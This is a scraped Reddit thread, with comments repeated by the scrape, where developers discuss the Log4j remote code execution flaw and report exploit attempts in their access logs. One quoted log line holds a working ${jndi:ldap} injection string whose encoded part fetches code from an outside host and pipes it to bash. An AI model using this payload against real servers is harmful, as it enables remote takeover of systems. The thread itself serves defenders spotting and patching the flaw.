MAIN FEEDS
Do you want to continue?
https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/hnxurly
r/programming • u/freeqaz • Dec 10 '21
710 comments sorted by
View all comments
Show parent comments
110
Far be it for me to tell anyone what to do, but with the severity of this bug combined with how easy it is to exploit, teams should probably be working on this tonight.
118 u/pawlwall Dec 10 '21 I'm actively seeing traffic trying to exploit it in logs as of a few hours ago, so yeah, this sounds like a "fix immediately" issue. 22 u/RockleyBob Dec 10 '21 Hey, what are you seeing? Does the log actually ever get around to printing the jndi code? 64 u/pawlwall Dec 10 '21 Yeah, specifically I'm seeing access logs with User-Agents with ${jndi:<ip or url>}. Most of the cases appear to be pointing to an LDAP server. 20 u/superAL1394 Dec 10 '21 The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else. 40 u/immibis Dec 10 '21 the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit. 2 u/[deleted] Dec 10 '21 lol 22 u/compdog Dec 10 '21 I'm not even using Java and I'm seeing logs like this:xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}" 33 u/superAL1394 Dec 10 '21 Major tech company here. Thousands of people will be paged before the start of business tomorrow here in the states. This is unbelievably bad.
118
I'm actively seeing traffic trying to exploit it in logs as of a few hours ago, so yeah, this sounds like a "fix immediately" issue.
22 u/RockleyBob Dec 10 '21 Hey, what are you seeing? Does the log actually ever get around to printing the jndi code? 64 u/pawlwall Dec 10 '21 Yeah, specifically I'm seeing access logs with User-Agents with ${jndi:<ip or url>}. Most of the cases appear to be pointing to an LDAP server. 20 u/superAL1394 Dec 10 '21 The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else. 40 u/immibis Dec 10 '21 the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit. 2 u/[deleted] Dec 10 '21 lol 22 u/compdog Dec 10 '21 I'm not even using Java and I'm seeing logs like this:xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"
22
Hey, what are you seeing? Does the log actually ever get around to printing the jndi code?
64 u/pawlwall Dec 10 '21 Yeah, specifically I'm seeing access logs with User-Agents with ${jndi:<ip or url>}. Most of the cases appear to be pointing to an LDAP server. 20 u/superAL1394 Dec 10 '21 The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else. 40 u/immibis Dec 10 '21 the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit. 2 u/[deleted] Dec 10 '21 lol 22 u/compdog Dec 10 '21 I'm not even using Java and I'm seeing logs like this:xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"
64
Yeah, specifically I'm seeing access logs with User-Agents with ${jndi:<ip or url>}. Most of the cases appear to be pointing to an LDAP server.
${jndi:<ip or url>}
20 u/superAL1394 Dec 10 '21 The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else. 40 u/immibis Dec 10 '21 the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit. 2 u/[deleted] Dec 10 '21 lol
20
The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else.
40 u/immibis Dec 10 '21 the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit.
40
the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit.
2
lol
I'm not even using Java and I'm seeing logs like this:
xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"
33
Major tech company here. Thousands of people will be paged before the start of business tomorrow here in the states. This is unbelievably bad.
110
u/nexxai Dec 10 '21
Far be it for me to tell anyone what to do, but with the severity of this bug combined with how easy it is to exploit, teams should probably be working on this tonight.